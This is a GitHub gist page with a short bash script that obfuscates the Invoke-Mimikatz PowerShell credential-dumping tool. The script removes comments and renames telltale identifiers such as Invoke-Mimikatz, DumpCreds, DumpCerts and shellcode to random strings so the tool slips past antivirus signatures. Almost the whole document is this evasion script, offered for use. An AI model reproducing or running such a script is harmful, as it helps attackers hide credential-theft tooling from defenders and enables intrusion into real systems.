Skip to content

Instantly share code, notes, and snippets.

@gazcbm

gazcbm/obfuscate-mimikatz.sh

Forked from infosecn1nja/obfuscate-mimikatz.sh
Created April 24, 2019 15:28
Show Gist options

  • Select an option

    Learn more about clone URLs
  • Save gazcbm/53265733adf59ff0d6483eec0aa7403d to your computer and use it in GitHub Desktop.

Select an option

Learn more about clone URLs
Save gazcbm/53265733adf59ff0d6483eec0aa7403d to your computer and use it in GitHub Desktop.
Download ZIP

Revisions

  1. @infosecn1nja infosecn1nja created this gist Jan 28, 2018.
    25 changes: 25 additions & 0 deletions obfuscate-mimikatz.sh
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,25 @@
    #!/bin/bash

    if [[ $# -le 1 ]] ; then
    echo './obfuscate-mimikatz.sh Invoke-Mimikatz.ps1 newfile.ps1'
    exit 1
    fi

    randstr(){< /dev/urandom tr -dc a-zA-Z0-9 | head -c${1:-8};}

    cp $1 $2
    sed -i -e "s/Invoke-Mimikatz/Invoke-$(randstr)/g" $2
    sed -i -e '/<#/,/#>/c\\' $2
    sed -i -e "s/^[[:space:]]*#.*$//g" $2
    sed -i -e "s/DumpCreds/$(randstr)/g" $2
    sed -i -e "s/DumpCerts/$(randstr)/g" $2
    sed -i -e "s/CustomCommand/$(randstr)/g" $2
    sed -i -e "s/TypeBuilder/$(randstr)/g" $2
    sed -i -e "s/Win32Types/$(randstr)/g" $2
    sed -i -e "s/Win32Functions/$(randstr)/g" $2
    sed -i -e "s/shellcode/$(randstr)/g" $2
    sed -i -e "s/PEBytes64/$(randstr)/g" $2
    sed -i -e "s/PEBytes32/$(randstr)/g" $2
    sed -i -e "s/ArgumentPtr/$(randstr)/g" $2
    sed -i -e "s/CallDllMainSC1/$(randstr)/g" $2
    sed -i -e "s/NoteProperty/$(randstr)/g" $2